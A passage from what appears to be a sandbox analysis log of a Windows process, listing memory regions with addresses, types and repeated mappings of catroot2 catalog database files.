private name = "private_0x0000000002460000" filename = "" Region: id = 1828 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1840 start_va = 0x1b0000 end_va = 0x1c9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1841 start_va = 0x24e0000 end_va = 0x25dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 1842 start_va = 0x3d0000 end_va = 0x3d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 1843 start_va = 0x810000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1844 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 1845 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 1846 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 1847 start_va = 0x840000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 1848 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 1849 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 1850 start_va = 0xa70000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 1851 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1852 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 1853 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 1854 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 1855 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 1856 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 1857 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1858 start_va = 0x6400000 end_va = 0x73fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006400000" filename = "" Region: id = 1859 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1860 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 1861 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 1862 start_va = 0x880000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 1863 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 1864 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 1865 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 1866 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 1867 start_va = 0x890000 end_va = 0x891fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 1868 start_va = 0x8a0000 end_va = 0x8a4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 1869 start_va = 0x930000 end_va = 0x930fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 1870 start_va = 0x8a0000 end_va = 0x8a4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 1871 start_va = 0xc20000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1872 start_va = 0xc20000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c20000" filename = "" Region: id = 1873 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 1874 start_va = 0x940000 end_va = 0x944fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 1875 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 1876 start_va = 0x950000 end_va = 0x951fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 1877 start_va = 0x940000 end_va = 0x944fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 1878 start_va = 0xc20000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1879 start_va = 0xc20000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c20000" filename = "" Region: id = 1880 start_va = 0x940000 end_va = 0x940fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 1881 start_va = 0x950000 end_va = 0x954fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 1882 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 1883 start_va = 0x940000 end_va = 0x941fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 1884 start_va = 0x940000 end_va = 0x940fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 1885 start_va = 0x960000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 1886 start_va = 0x960000 end_va = 0x960fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 1887 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1888 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1889 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1890 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1891 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1892 start_va = 0xc50000 end_va = 0xc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1893 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1894 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1895 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1896 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1897 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1898 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1899 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1900 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1901 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1902 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1903 start_va = 0xfb0000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 1904 start_va = 0xfc0000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 1905 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1906 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1907 start_va = 0xfd0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1908 start_va = 0xfe0000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 1909 start_va = 0xff0000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 1910 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1911 start_va = 0x1000000 end_va = 0x1000fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 1912 start_va = 0xc50000 end_va = 0xc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 1913 start_va = 0x1010000 end_va = 0x1010fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 1914 start_va = 0x1020000 end_va = 0x1020fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 1915 start_va = 0x1030000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 1916 start_va = 0x1030000 end_va = 0x1030fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 1928 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1929 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1930 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1931 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1932 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1933 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1934 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1935 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1936 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1937 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1938 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1939 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1940 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1943 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1944 start_va = 0x2750000 end_va = 0x27cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 1945 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1946 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1947 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1948 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1949 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1950 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1951 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1952 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1953 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1954 start_va = 0x1090000 end_va = 0x109ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 1955 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1956 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1961 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1962 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1963 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1964 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1965 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1966 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1967 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1968 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1969 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1970 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1971 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1972 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1973 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1974 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: 